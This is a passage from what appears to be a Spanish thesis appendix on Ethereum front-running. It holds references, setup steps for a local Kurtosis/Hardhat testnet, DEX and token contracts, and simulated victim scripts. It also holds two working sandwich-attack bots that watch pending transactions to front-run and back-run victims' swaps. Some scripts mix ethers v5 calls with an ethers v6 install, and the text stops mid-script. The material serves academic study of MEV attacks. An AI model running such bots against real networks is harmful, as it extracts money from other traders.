38. C. Paul S. Atkins. (2025). *Keynote Address at the Crypto Task Force Roundtable on Tokenization. U.S Securities and Exchange Commision.* (www.sec.gov/newsroom/speeches-statements/atkins-remarks-crypto-roundtable-tokenization-051225).

39. CCI. (2023). *Policy Brief: Japan's FSA Crypto Asset and Stablecoin Framework. Crypto Council For Innovation.* (https://cryptoforinnovation.org/policy-brief-summary-of-japanese-fsa-crypto-asset-and-stablecoins-framework/).

40. R. C. Josephine Law. (2023). *Singapore Proposes Measures to Prevent Unfair Crypto Trading and Address Market Integrity Risks. Sidley.* (www.sidley.com/en/insights/newsupdates/2023/07/singapore-proposes-measures-to-prevent-unfair-crypto-trading-and-address-market-integrity-risks).

41. Reuters. (2025). *China debates how to handle criminal crypto cache. Reuters.* (www.reuters.com/world/china/china-debates-how-handle-criminal-crypto-cache-2025-04-15/).

42. C. Team. (2023). *Everything You Need to Know About APAC Crypto Regulations: Podcast Ep. 59. Chainanalysis.* (www.chainalysis.com/blog/ep-59-everything-you-need-to-know-about-apac-digital-asset-regulations/).

43. P. K. Vijay Mohan. (2024). *Blockchains, MEV and the knapsack problem: a primer. Arxiv.* (https://arxiv.org/html/2403.19077v1).

44. G. Ishmaev. (2025). *Ethics of Blockchain Technologies. Arxiv.* (https://arxiv.org/html/2504.02504v1).

45. Flashbots. (2024). *eth-sendPrivateTransaction. Github.* (https://github.com/flashbots/flashbots-docs/blob/main/docs/flashbots-protect/additional-documentation/eth-sendPrivateTransaction.mdx).

46. C. Team. (2024). *Understanding Maximal Extractable Value (MEV) in Ethereum's Evolving Landscape. CryptoEQ.* (www.cryptoeq.io/articles/ethereum-mev-pbs).

47. T. V. Alex Obadia. (2021). *MEV in eth2 - an early exploration. A collection of articles and papers from Flashbots.* (https://writings.flashbots.net/mev-eth2).

48. S. Zouarhi. (2023). *Lessons Earned One Year Post-Merge: Unraveling PBS and its effect on MEV, Block Building, and the Ethereum Network. blocknative.* (www.blocknative.com/blog/one-year-post-merge-ethereum).

49. Ethpandaops. (2025). *Ethereum Package. GitHub.* (https://github.com/ethpandaops/ethereum-package).

50. Ethpandaops. (2025). *Dora. GitHub.* (https://github.com/ethpandaops/dora).

51. Blockscout. (2025). *Blockscout. Github.* (https://github.com/blockscout/blockscout).

52. *Ethers v5.7*, (https://docs.ethers.org/v5/).

Apéndices

APÉNDICE A

Instrucciones de Instalación del Entorno de Simulación

Este anexo también se encuentra en el siguiente repositorio para uso público.

Para ejecutar correctamente el entorno simulado de ataques Front Running se requiere instalar las siguientes herramientas:

A.1. Máquina Virtual

En mi caso he realizado todo lo referido a este documento desde una máquina virtual con Ubuntu 22.04.1, con permisos de super usuario, usando la herramienta de virtualización de Oracle VirtualBox. Eso no implica que esto no pueda ser realizado en otros sistemas operativos o en PCs que tengan Ubuntu como sistema operativo principal.

A.2. Docker

A.2.1. Instalación

Docker es una plataforma de software de código abierto que automatiza la aplicación de software dentro de contenedores, que son unidades de software aisladas que incluyen el código, las bibliotecas y las dependencias necesarias para su ejecución.

```
sudo apt update && sudo apt install -y docker.io
```

Podemos confirmar que lo tenemos instalado con:

```
docker --version
```

Y obtendremos lo siguiente en el terminal si todo está correcto.

```
Docker version 26.1.3, build 26.1.3-0ubuntu1~22.04.1
```

A.3. NodeJS y NPM

Node.js es un entorno de ejecución de JavaScript gratuito, de código abierto y multiplataforma que permite a los desarrolladores crear servidores, aplicaciones web, herramientas de línea de comandos y scripts.

NPM es un gestor de paquetes para paquetes de Node.js.

A.3.1. Instalación

```
curl -fsSL https://deb.nodesource.com/setup_20.x | sudo -E bash -
sudo apt install -y nodejs
```

Para comprobar que la instalación ha sido exitosa, podemos ejecutar comandos como:

```
node --version
v20.19.0
npm --version
10.8.2
```

A.4. Kurtosis

Kurtosis es una herramienta para empaquetar y lanzar entornos de servicios contenerizados donde los necesites, de la forma en que los necesites, utilizando comandos de una sola línea.

A.4.1. Instalación

```
echo "deb [trusted=yes] https://apt.fury.io/kurtosis-tech/ /" | sudo tee
    /etc/apt/sources.list.d/kurtosis.list
sudo apt update
sudo apt install kurtosis-cli
```

A.4.2. Parámetros de la red

Creamos un fichero con el nombre `network_param.yaml` que utilizaremos como argumento a la hora de inicializar nuestra red Kurtosis. `network_param.yaml`

```
participants:
  - el_type: geth
    cl_type: lighthouse
network_params:
  network_id: "585858"

additional_services:
  - dora
  - blockscout

```

A.4.3. Inicializar la red

Para iniciar la red, primero hay que iniciar el motor de Kurtosis.

```
kurtosis engine start
```

Y una vez iniciado, solo falta ejecutar el siguiente comando que nos permite tener la red iniciada.

```
kurtosis run github.com/ethpandaops/ethereum-package --args-file ./
    network_params.yaml --image-download always
```

Este comando inicia los servicios de contenedores Docker con la imagen del paquete oficial de Ethereum, con la configuración de red que describimos anteriormente.

Si todo sale correcto, debería aparecer en el terminal algo parecido a esto:

```
INFO[2025-05-03T20:45:17+02:00] ===========================================================
INFO[2025-05-03T20:45:17+02:00] ||          Created enclave: celestial-desert          ||
INFO[2025-05-03T20:45:17+02:00] ===========================================================
Name:            celestial-desert
UUID:            627c5142d729
Status:          RUNNING
Creation Time:   Sat, 03 May 2025 20:43:36 CEST
Flags:

========================================= Files Artifacts =========================================
UUID           Name
abf8c8513988   1-lighthouse-geth-0-63
1f56aade9279   dora-config
dbee3e0c674e   el_cl_genesis_data
c38e7e965a3f   final-genesis-timestamp
ac080fb42eae   genesis-el-cl-env-file
9bd530a4aa48   genesis_validators_root
6133c7b66528   jwt_file
666d6bc04202   keymanager_file
c239e290d38f   prysm-password
da79d97d077c   validator-ranges

========================================== User Services ==========================================
UUID           Name                                               Ports
     Status
                               RUNNING
67e4224eabd8   blockscout                                         http: 4000/tcp -> http://127.0.0.1:33078
     RUNNING
24e1fd8004b5   blockscout-frontend                                http: 3000/tcp -> http://127.0.0.1:3000
     RUNNING
700e7c8be44e   blockscout-postgres                                postgresql: 5432/tcp -> postgresql://127.0.0.1:33076
     RUNNING
fa724acf2de6   blockscout-verif                                   http: 8050/tcp -> http://127.0.0.1:33077
     RUNNING
                               RUNNING
1011a2d933d5   cl-1-lighthouse-geth                               http: 4000/tcp -> http://127.0.0.1:33066
     RUNNING
                                                                  metrics: 5054/tcp -> http://127.0.0.1:33065
                                                                  tcp-discovery: 9000/tcp -> 127.0.0.1:33064
                                                                  udp-discovery: 9000/udp -> 127.0.0.1:32819
5f10b57ee932   dora                                               http: 8080/tcp -> http://127.0.0.1:33075
     RUNNING
1d39fb5cbc4c   el-1-geth-lighthouse                               engine-rpc: 8551/tcp -> 127.0.0.1:33051
     RUNNING
                                                                  metrics: 9001/tcp -> http://127.0.0.1:33050
                                                                  rpc: 8545/tcp -> 127.0.0.1:33053
                                                                  tcp-discovery: 30303/tcp -> 127.0.0.1:33049
                                                                  udp-discovery: 30303/udp -> 127.0.0.1:32816
                                                                  ws: 8546/tcp -> 127.0.0.1:33052

f7411eede5b6   validator-key-generation-cl-validator-keystore     <none>
     RUNNING
53b52f9a907b   vc-1-geth-lighthouse                               metrics: 8080/tcp -> http://127.0.0.1:33073
     RUNNING
e0040bb62d48   vc-2-geth-lighthouse                               metrics: 8080/tcp -> http://127.0.0.1:33074
     RUNNING
```

Una vez iniciada la red, podremos entrar en Dora y Blockscout para poder gestionar contratos, cuentas, tokens, etc.

Por último, será necesario añadir los ficheros donde guardamos las direcciones privadas de las cuentas que vamos a utilizar para la realización de los ataques. Para ello, habrá que seguir los siguientes pasos:

Comprobar el ID del contenedor donde se está ejecutando nuestra red.

```
docker ps | grep el-1-geth-lighthouse
```

De ahí se obtendrá lo siguiente:

```
2959d80e6e58 ethereum/client-go:latest      "sh -c 'geth init --..." 3
   minutes ago Up 3 minutes 0.0.0.0:33053->8545/tpc, :::33053->8545/tcp,
    0.0.0.0:33052->8546/tcp, :::33052->8546/tcp, 0.0.0.0:33051->8551/tcp
   , :::33051->8551/tcp, 0.0.0.0:33050->9001/tcp, 0.0.0.0:32816-30303/
   udp, 0.0.0.0:33049->30303/tcp, :::32816->30303/udp, :::33049->30303/
   tcp el-1-geth-lighthouse--1d39fb5cbc4c4924b6490985c6698de9
```

Nos quedaremos con la ID del contenedor, `2959d80e6e58` y con `0.0.0.0:33053->8545/tpc` es el puerto donde está alojada la conexión rcp del contenedor, en este caso `33053` que la añadiremos a nuestro fichero `.env`.

Desde el directorio donde guardemos los ficheros ejecutar los siguientes comandos para copiarlos en el contenedor de la red donde vamos a trabajar.

```
docker cp ficheroconcuenta1.txt 2959d80e6e58:/cuenta1.txt
docker cp ficheroconcuenta2.txt 2959d80e6e58:/cuenta2.txt
```

A.5. Hardhat

Hardhat es un entorno de desarrollo para software en Ethereum. Consiste en diferentes componentes para editar, compilar, depurar y desplegar tus contratos inteligentes y aplicaciones descentralizadas (dApps), todos los cuales trabajan en conjunto para crear un entorno de desarrollo completo.

Hardhat Runner es el componente principal con el que interactúas al utilizar Hardhat. Es un ejecutor de tareas flexible y extensible que te ayuda a gestionar y automatizar las tareas recurrentes propias del desarrollo de contratos inteligentes y dApps.

A.5.1. Instalación

Lo primero es crear el directorio donde realizaremos nuestro proyecto NodeJS, con el paquete Hardhat y todos los necesarios, y entrar en este.

```
mkdir TFG-project && cd TFG-project
```

Una vez creado el directorio, inicializaremos el proyecto.

```
npm init -y
npm install --save-dev hardhat@^2.22.19 \
  @nomicfoundation/hardhat-ethers@^3.0.8 ethers@^6.13.5 \
  @openzeppelin/contracts@^5.2.0 \ #Entorno Uniswap
  @uniswap/v2-core@^1.0.1 \ #Entorno Uniswap
  @uniswap/v2-periphery@^1.1.0-beta.0 \ #Entorno Uniswap
  dotenv@^16.4.7
npx hardhat
```

Por último, una vez tengamos ya todos los paquetes necesarios, elegiremos cómo queremos que sea la configuración inicial de nuestro proyecto Hardhat y seleccionaremos la opción que dice.

`Create an empty hardhat.config.js`

A.5.2. Configuración

Una vez creado el entorno Hardhat solo quedaría configurarlo para que la ejecución sea satisfactoria. Esta configuración permitira a nuestro proyecto hardhat ejecutar correctamente los scripts en nuestra red de Kurtosis.

Le pasamos por `enviroment` la url de la red Kurtosis, además, de las `private keys` de las `prefunded accounts` para que estas no tengan problemas a la hora de ejecutar contratos.

Ataque Simulado

`hardhat.confing.js`

```
require("@nomicfoundation/hardhat-ethers");
require("dotenv").config();
const { task } = require("hardhat/config");

task("test", "Prueba hre.ethers")
  .setAction(async (_, hre) => {
    console.log("Ethers disponible:", hre.ethers !== undefined);
  });

task("balances", "Muestra los balances de las cuentas")
  .setAction(async (_, hre) => {
    const ethers = hre.ethers;
    const accounts = await ethers.getSigners();

    for (const account of accounts) {
      const balance = await ethers.provider.getBalance(account.address);
      const balanceInEther = Number(balance) / 1e18; // Convierte wei a ether
      console.log(`Cuenta: ${account.address}, Balance: ${balanceInEther} ETH`);
    }
  });

module.exports = {
  networks: {
    localhost: {
      url: process.env.RPC_URL,
      chainId: 585858,
      accounts: [process.env.PRIVATE_KEY, process.env.PRIVATE_KEY2]
    }
  },
  solidity: {
    compilers: { version: "0.8.19" },
  },
};
```

Entorno Uniswap

hardhat.confing.js

```
require("@nomicfoundation/hardhat-ethers");
require("dotenv").config();
const { task } = require("hardhat/config");

task("test", "Prueba hre.ethers")
  .setAction(async (_, hre) => {
    console.log("Ethers disponible:", hre.ethers !== undefined);
  });

task("balances", "Muestra los balances de las cuentas")
  .setAction(async (_, hre) => {
    const ethers = hre.ethers;
    const accounts = await ethers.getSigners();

    for (const account of accounts) {
      const balance = await ethers.provider.getBalance(account.address);
      const balanceInEther = Number(balance) / 1e18; // Convierte wei a ether
      console.log(`Cuenta: ${account.address}, Balance: ${balanceInEther} ETH`);
    }
  });

module.exports = {
  networks: {
    localhost: {
      url: process.env.RPC_URL,
      chainId: 585858,
      accounts: [process.env.PRIVATE_KEY, process.env.PRIVATE_KEY2]
    }
  },
  solidity: {
    compilers: [
      {
        version: "0.5.16",
        settings: {
          optimizer: {
            enabled: true,
            runs: 50,
          },
        },
      },
      {
        version: "0.6.6",
        settings: {
          optimizer: {
            enabled: true,
            runs: 50,
          },
        },
      },
      {
        version: "0.8.20",
      },
      {
        version: "0.8.19",
        settings: {
          optimizer: {
            enabled: true,
            runs: 200,
          },
        },
      },
    ],
  },
};
```

APÉNDICE B

Scripts y Contratos a ejecutar en proyecto Hardhat

B.0.1. Contratos

Ataque Simulado

Dentro del entorno simulado encontramos el siguiente contrato.

SimpleDex.sol

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;

contract SimpleDEX {
    mapping(address => uint256) public balances;
    uint256 public ethReserve;
    uint256 public tokenReserve;
    address public owner;

    constructor() payable {
        ethReserve = msg.value;
        tokenReserve = 1000000 ether; // Tokens iniciales
        owner = msg.sender;
    }

    function buy() public payable {
        uint256 tokensToBuy = msg.value * tokenReserve / ethReserve;
        require(tokensToBuy <= tokenReserve, "Not enough tokens");

        balances[msg.sender] += tokensToBuy;
        tokenReserve -= tokensToBuy;
        ethReserve += msg.value;
    }

    function sell(uint256 tokenAmount) public {
        require(balances[msg.sender] >= tokenAmount, "Insufficient balance");

        uint256 ethToReturn = tokenAmount * ethReserve / tokenReserve;
        require(address(this).balance >= ethToReturn, "DEX has no ETH");

        balances[msg.sender] -= tokenAmount;
        tokenReserve += tokenAmount;
        ethReserve -= ethToReturn;

        payable(msg.sender).transfer(ethToReturn);
    }

    // Helper for bot to mint tokens
    function mintTokens(address to, uint256 amount) external {
        require(msg.sender == owner, "Only owner");
        balances[to] += amount;
        tokenReserve += amount;
```

```
    }
}
```

Entorno Uniswap

Contratos entorno Uniswap.

UniswapV2F.sol

```
// SPDX-License-Identifier: MIT
pragma solidity =0.5.16;

// Importa la Factory de V2-Core
import "@uniswap/v2-core/contracts/UniswapV2Factory.sol";
```

UniswapV2R.sol

```
// Importa el Router02 de V2-Periphery
pragma solidity =0.6.6;
import "@uniswap/v2-periphery/contracts/UniswapV2Router02.sol";
```

WETH9.sol

```
// Copyright (C) 2015, 2016, 2017 Dapphub
//
This program is free software: you can redistribute it and/or modify...
//

pragma solidity =0.6.6;

contract WETH9 {
    string public name     = "Wrapped Ether";
    string public symbol   = "WETH";
    uint8  public decimals = 18;

    event  Approval(address indexed src, address indexed guy, uint wad);
    event  Transfer(address indexed src, address indexed dst, uint wad);
    event  Deposit(address indexed dst, uint wad);
    event  Withdrawal(address indexed src, uint wad);

    mapping (address => uint)                       public  balanceOf;
    mapping (address => mapping (address => uint))  public  allowance;

    // function() public payable {
    //     deposit();
    // }
    function deposit() public payable {
        balanceOf[msg.sender] += msg.value;
        emit Deposit(msg.sender, msg.value);
    }
    function withdraw(uint wad) public {
        require(balanceOf[msg.sender] >= wad, "");
        balanceOf[msg.sender] -= wad;
        msg.sender.transfer(wad);
        emit Withdrawal(msg.sender, wad);
    }

```

```
35      function totalSupply() public view returns (uint) {
36          return address(this).balance;
37      }
38
39      function approve(address guy, uint wad) public returns (bool) {
40          allowance[msg.sender][guy] = wad;
41          emit Approval(msg.sender, guy, wad);
42          return true;
43      }
44
45      function transfer(address dst, uint wad) public returns (bool) {
46          return transferFrom(msg.sender, dst, wad);
47      }
48
49      function transferFrom(address src, address dst, uint wad)
50          public
51          returns (bool)
52      {
53          require(balanceOf[src] >= wad, "");
54
55          if (src != msg.sender && allowance[src][msg.sender] != uint(-1))
        {
56              require(allowance[src][msg.sender] >= wad, "");
57              allowance[src][msg.sender] -= wad;
58          }
59
60          balanceOf[src] -= wad;
61          balanceOf[dst] += wad;
62
63          emit Transfer(src, dst, wad);
64
65          return true;
66      }
67  }
68
69
70  /*
71                      GNU GENERAL PUBLIC LICENSE
72                         Version 3, 29 June 2007
73
74   Copyright (C) 2007 Free Software Foundation, Inc. <http://fsf.org/>
75  ...
```

UCO.sol

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "@openzeppelin/contracts/access/Ownable.sol";

contract UCOCoin is ERC20, Ownable {
    constructor()
      ERC20("UCO Coin", "UCO")
      Ownable(msg.sender)
    {
        // initial supply if you want
        _mint(msg.sender, 1_000_000 * 10 ** decimals());
    }

    /// @notice allow owner to mint new tokens
    function mint(address to, uint256 amount) external onlyOwner {
        _mint(to, amount);
    }
}
```

UMA.sol

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "@openzeppelin/contracts/access/Ownable.sol";

contract Tether is ERC20, Ownable {
    constructor()
      ERC20("Tether UMA", "UMA")
      Ownable(msg.sender)
    {
        _mint(msg.sender, 1_000_000 * 10 ** decimals());
    }

    function mint(address to, uint256 amount) external onlyOwner {
        _mint(to, amount);
    }
}
```

B.0.2. Scripts

Ataque Simulado

deploySimpleDEX.js

```
const { ethers } = require("hardhat");

async function main() {
  const [deployer] = await ethers.getSigners();

  console.log("Deploying with:", deployer.address);
  const initialLiquidity = ethers.parseEther("100");

```

```
  const DEX = await ethers.getContractFactory("SimpleDEX");
  const dex = await DEX.deploy({ value: initialLiquidity });
  await dex.waitForDeployment();

  console.log("DEX deployed to:", await dex.getAddress());
}

main().catch((err) => {
  console.error(err);
  process.exit(1);
});
```

attack-bot.js

```
require("dotenv").config();
const { ethers } = require("ethers");

const provider = new ethers.JsonRpcProvider(process.env.RPC_URL);
const attacker = new ethers.Wallet(process.env.PRIVATE_KEY, provider);
const dexAddress = process.env.DEX_ADDRESS.toLowerCase();

const iface = new ethers.Interface([
  "function buy() payable",
  "function sell(uint256)",
  "function balances(address) view returns (uint256)"
]);

const dex = new ethers.Contract(dexAddress, iface, attacker);
const seenTxs = new Set();

async function attackSandwich(targetTx) {
  console.log("Victima detectada:", targetTx.hash);

  const ethBefore = await provider.getBalance(attacker.address);

  // FRONT-RUN
  const frontTx = await dex.buy({
    value: ethers.parseEther("1"),
    gasLimit: 300000,
    maxFeePerGas: ethers.parseUnits("30", "gwei"),
    maxPriorityFeePerGas: ethers.parseUnits("2", "gwei"),
  });
  console.log("Front-run enviada:", frontTx.hash);
  await frontTx.wait();

  // Esperar que se mine la transaccion victima
  console.log("Esperando que la victima se mine...");
  let receipt = null;
  while (!receipt) {
    try {
      receipt = await provider.getTransactionReceipt(targetTx.hash);
    } catch (e) {
      await new Promise((r) => setTimeout(r, 2000));
    }
  }

  // BACK-RUN
  const tokens = await dex.balances(attacker.address);
  const backTx = await dex.sell(tokens);
```

```
  console.log("Back-run enviada:", backTx.hash);
  await backTx.wait();

  const ethAfter = await provider.getBalance(attacker.address);
  const profit = ethAfter - ethBefore;

  console.log("Beneficio: ", ethers.formatEther(profit), "ETH");
}

async function monitorMempool() {
  try {
    const pending = await provider.send("eth_pendingTransactions", []);
    for (const tx of pending) {
      if (!tx.to || seenTxs.has(tx.hash)) continue;

      if (tx.to.toLowerCase() === dexAddress && tx.from.toLowerCase()
   !== attacker.address.toLowerCase()) {
        seenTxs.add(tx.hash);
        await attackSandwich(tx);
      }
    }
  } catch (err) {
    console.error("Error:", err.message);
  }
}

// Loop cada 2.5 segundos
setInterval(monitorMempool, 2500);
```

victim-buy.js

```
require("dotenv").config();
const { ethers } = require("hardhat");

async function main() {
  const provider = new ethers.JsonRpcProvider(process.env.RPC_URL);

  const victim = new ethers.Wallet(process.env.PRIVATE_KEY2, provider);
  const dexAddress = process.env.DEX_ADDRESS;

  const abi = ["function buy() payable"];
  const dex = new ethers.Contract(dexAddress, abi, victim);

  const tx = await dex.buy({ value: ethers.parseEther("0.5") });
  await new Promise(r => setTimeout(r, 4000)); // Espera 4 segundos
   simulando usuario lento
  await tx.wait();

  console.log("Victima ha comprado tokens. TX:", tx.hash);
}

main().catch(console.error);
```

Entorno Uniswap

deploy.js

```
// scripts/deploy-and-add-liquidity.js

require("dotenv").config();
const { Contract, ContractFactory } = require("ethers");
const { ethers } = require("hardhat");
const fs   = require("fs");
const path = require("path");

// 1) Cargar los artifacts puros
const WETH9Artifact   = require(path.join(__dirname, "..", "artifacts/
   contracts/WETH9.sol/WETH9.json"));
const factoryArtifact = require("@uniswap/v2-core/build/UniswapV2Factory
   .json");
const routerArtifact  = require("@uniswap/v2-periphery/build/
   UniswapV2Router02.json");
const pairArtifact    = require("@uniswap/v2-core/build/UniswapV2Pair.
   json");

async function main() {
  // 2) Signer principal
  const [owner] = await ethers.getSigners();
  console.log("Deploying with:", owner.address);

  // 3) Desplegar UniswapV2Factory
  const FactoryF = new ContractFactory(
    factoryArtifact.abi,
    factoryArtifact.bytecode,
    owner
  );
  const factory = await FactoryF.deploy(owner.address);
  console.log("Factory deployed at:", factory.address);

  // 4) Desplegar WETH9
  const WETHF = new ContractFactory(
    WETH9Artifact.abi,
    WETH9Artifact.bytecode,
    owner
  );
  const weth = await WETHF.deploy();
  console.log("WETH9 deployed at:", weth.address);

  // 5) Desplegar UniswapV2Router02
  const RouterF = new ContractFactory(
    routerArtifact.abi,
    routerArtifact.bytecode,
    owner
  );
  const router = await RouterF.deploy(factory.address, weth.address);
  console.log("Router deployed at:", router.address);

  // 6) Desplegar tokens testeables: Tether (UMA) y UCOCoin (UCO)
  const UMA = await ethers.getContractFactory("Tether", owner);
  const uma = await UMA.deploy();
  await uma.deployed();
```

```
  console.log("UMA deployed at:", uma.address);

  const UCO = await ethers.getContractFactory("UCOCoin", owner);
  const uco = await UCO.deploy();
  await uco.deployed();
  console.log("UCO deployed at:", uco.address);

  // 7) Mint inicial: 1000 tokens de cada uno al owner
  const mintAmt = ethers.utils.parseEther("1000");
  await (await uma.mint(owner.address, mintAmt)).wait();
  await (await uco.mint(owner.address, mintAmt)).wait();
  console.log("Minted 1,000 UMA & UCO to owner");

  // 8) Crear par UMA-UCO si no existe
  let pairAddr = await factory.getPair(uma.address, uco.address);
  if (pairAddr === ethers.constants.AddressZero) {
    console.log("Pair not found; creating...");
    await (await factory.createPair(uma.address, uco.address)).wait();
    pairAddr = await factory.getPair(uma.address, uco.address);
  }
  console.log("Pair address:", pairAddr);

  // 9) Instanciar el par y comprobar reservas iniciales
  const pair = new Contract(pairAddr, pairArtifact.abi, owner);
  let [r0, r1] = await pair.getReserves();
  console.log("Initial reserves:", r0.toString(), r1.toString());

  // 10) Aprobar router para mover nuestros tokens
  const MAX = ethers.constants.MaxUint256;
  await (await uma.approve(router.address, MAX)).wait();
  await (await uco.approve(router.address, MAX)).wait();
  console.log("Router approved to spend UMA & UCO");

  // 11) Add liquidez: 50 UMA y 150 UCO
  const amt0 = ethers.utils.parseUnits("50", 18);
  const amt1 = ethers.utils.parseUnits("150", 18);
  const deadline = Math.floor(Date.now()/1000) + 60 * 10;

  const tx = await router.addLiquidity(
    uma.address, uco.address,
    amt0, amt1,
    0, 0,
    owner.address,
    deadline,
    { gasLimit: 5_000_000 }
  );
  await tx.wait();
  console.log("Liquidity added");

  // 12) Leer reservas tras add liquidez
  [r0, r1] = await pair.getReserves();
  console.log("Post-add reserves:", r0.toString(), r1.toString());
  // Deberian acercarse a 50 ... 150 ...

  const out = {
    factory: factory.address,
    weth:    weth.address,
    router:  router.address,
```

```
    tokenA:  uma.address,
    tokenB:  uco.address,
    pair:    pairAddr
  };
  const outPath = path.join(__dirname, "..", "uniswap-addresses.json");
  fs.writeFileSync(outPath, JSON.stringify(out, null, 2));
  console.log("Direcciones guardadas en uniswap-addresses.json");
}


main()
  .then(() => process.exit(0))
  .catch(err => {
    console.error("Script failed:", err);
    process.exit(1);
  });
```

sandwich-bot.js

```
require("dotenv").config();
const { ethers } = require("hardhat");
const fs   = require("fs");
const path = require("path");

async function main() {
  // 1) Carga direcciones
  const { router, tokenA, tokenB } = JSON.parse(
    fs.readFileSync(path.resolve(__dirname, "../uniswap-addresses.json")
    , "utf8")
  );

  // 2) Configura provider y atacante
  const provider = new ethers.providers.JsonRpcProvider(process.env.
   RPC_URL);
  const attacker = new ethers.Wallet(process.env.PRIVATE_KEY, provider);
  console.log("Attacker:", attacker.address);

  // 3) Instancia ERC-20 y Router con ABI minimo
  const ERC20 = [
    "function approve(address,uint256) external returns (bool)",
    "function balanceOf(address) view returns (uint256)"
  ];
  const tokenAContract = new ethers.Contract(tokenA, ERC20, attacker);
  const tokenBContract = new ethers.Contract(tokenB, ERC20, attacker);

  const routerAbi = [
    "function swapExactTokensForTokens(uint256,uint256,address[],address
   ,uint256) external returns (uint256[])"
  ];
  const routerInterface = new ethers.utils.Interface(routerAbi);
  const routerContract  = new ethers.Contract(router, routerAbi,
   attacker);

  // 4) Prepara allowance infinito en Token A
  const MAX = ethers.constants.MaxUint256;
  await (await tokenAContract.approve(router, MAX)).wait();
  console.log("Router approved to spend TokenA");

  // 5) Monitorea mempool con polling RPC
  const seen = new Set();
  console.log("Starting mempool monitor...");
  setInterval(async () => {
    let pending = [];
    try {
      pending = await provider.send("eth_pendingTransactions", []);
    } catch(e) {
      console.error("RPC eth_pendingTransactions error:", e);
      return;
    }
    for (const tx of pending) {
      if (
        tx.to?.toLowerCase() === router.toLowerCase() &&
        tx.from.toLowerCase() !== attacker.address.toLowerCase() &&
        !seen.has(tx.hash)
      ) {
        seen.add(tx.hash);
```

```
      // Obtenemos la tx completa
      const fullTx = await provider.getTransaction(tx.hash);
      await attackSandwich(fullTx);
    }
  }
}, 2500);

// 6) Logica sandwich
async function attackSandwich(victimTx) {
  console.log("Victim tx detected:", victimTx.hash);

  // 6.a) Sacamos el campo data
  const data = victimTx.data || victimTx.input;
  if (!data) {
    console.error("No data/input en tx:", victimTx.hash);
    return;
  }

  // 6.b) Parseamos con parseTransaction para extraer args[0] = amountIn
  let victimAmtIn;
  try {
    const txDesc = routerInterface.parseTransaction({ data });
    victimAmtIn = txDesc.args[0];
  } catch (err) {
    console.error("Fallo parseTransaction:", err);
    return;
  }

  if (!victimAmtIn || !victimAmtIn.mul) {
    console.error("amountIn invalido:", victimAmtIn);
    return;
  }

  // 6.c) Calculamos frontAmt como 30% de la victima
  const frontAmt = victimAmtIn.mul(30).div(100);
  const pathAB   = [ tokenA, tokenB ];
  const pathBA   = [ tokenB, tokenA ];
  const deadline = Math.floor(Date.now() / 1000) + 60 * 10;

  // Guarda balances iniciales
  const tokenABefore = await tokenAContract.balanceOf(attacker.address);
  const ethBefore    = await provider.getBalance(attacker.address);

  //FRONT-RUN
  console.log("Front-run con", ethers.utils.formatUnits(frontAmt,18), "TokenA");
  const frontTx = await routerContract.swapExactTokensForTokens(
    frontAmt, 0, pathAB, attacker.address, deadline,
    { gasLimit: 300_000 }
  );
  await frontTx.wait();
  console.log("Front-run tx:", frontTx.hash);

  //Espera a que mine la tx de la victima
  console.log("Waiting victim tx to be mined...");
  await provider.waitForTransaction(victimTx.hash);
```

```
109
110     //BACK-RUN
111     const tokenBbal = await tokenBContract.balanceOf(attacker.address);
112     await (await tokenBContract.approve(router, MAX)).wait();
113     console.log("Back-run con", ethers.utils.formatUnits(tokenBbal,18),
        "TokenB");
114     const backTx = await routerContract.swapExactTokensForTokens(
115       tokenBbal, 0, pathBA, attacker.address, deadline,
116       { gasLimit: 300_000 }
117     );
118     await backTx.wait();
119     console.log("Back-run tx:", backTx.hash);
120
121     //Calcula beneficio
122     const tokenAafter = await tokenAContract.balanceOf(attacker.address)
        ;
123     const ethAfter    = await provider.getBalance(attacker.address);
124
125     const profitA   = tokenAafter.sub(tokenABefore);
126     const profitEth = ethAfter.sub(ethBefore);
127
128     console.log("Profit TokenA:", ethers.utils.formatUnits(profitA,18));
129     console.log("----------------------------------------");
130   }
131 }
132
133 main().catch(e => {
134   console.error(e);
135   process.exit(1);
136 });
```

swap-victim.js

```
1  require("dotenv").config();
2  const { ethers } = require("hardhat");
3  const fs   = require("fs");
4  const path = require("path");
5
6  async function main() {
7    // 1) Leer las direcciones
8    const addresses = JSON.parse(
9      fs.readFileSync(path.resolve(__dirname, "../uniswap-addresses.json")
       , "utf8")
10   );
11   const {
12     router: routerAddr,
13     tokenA: tokenAAddr,
14     tokenB: tokenBAddr,
15     pair:   pairAddr
16   } = addresses;
17
18   // 2) Tomar el signer de la "victima"
19   const [owner, victim] = await ethers.getSigners();
20   console.log("Victim address:", victim.address);
21
22   // 3) Instanciar TokenA, TokenB, Router y Pair
23   const tokenA     = await ethers.getContractAt(
24     "@openzeppelin/contracts/token/ERC20/IERC20.sol:IERC20",
25     tokenAAddr,
```

```
    victim
  );
  const tokenB     = await ethers.getContractAt(
    "@openzeppelin/contracts/token/ERC20/IERC20.sol:IERC20",
    tokenBAddr,
    victim
  );
  console.log("routerAddr =", routerAddr);
  const routerJson = require("@uniswap/v2-periphery/build/
   UniswapV2Router02.json");
  const router     = new ethers.Contract(routerAddr, routerJson.abi,
   victim);

  const pairJson   = require("@uniswap/v2-core/build/UniswapV2Pair.json
   ");
  const pair       = new ethers.Contract(pairAddr, pairJson.abi, victim)
   ;

  // 3) Antes de fijar amountIn, lee reserva0:
   const [reserve0,] = await pair.getReserves();
// Calculo ratio victim -> pool:
   const victimRatio = 30; // 30 % de la pool
   const amountIn = reserve0.mul(victimRatio).div(100);
  const balVictim = await tokenA.balanceOf(victim.address);
  if (balVictim.lt(amountIn)) {
    console.log(`Victim solo tiene ${ethers.utils.formatUnits(balVictim
   ,18)}, transfiriendo ${ethers.utils.formatUnits(amountIn,18)} desde
   owner...`);
    await (await tokenA.connect(owner).transfer(victim.address, amountIn
   )).wait();
  }

  // 4) Parametros del swap

  const amountOutMin = 0;
  const pathTokens   = [ tokenAAddr, tokenBAddr ];
  const to           = victim.address;
  const deadline     = Math.floor(Date.now() / 1000) + 60 * 10;

  // 5) Aprobar el router para gastar TokenA
  console.log("Approving router...");
  await (await tokenA.approve(routerAddr, amountIn)).wait();

  // 6) Verificar estado previo
  console.log("Verificando estado previo...");
  const balance   = await tokenA.balanceOf(victim.address);
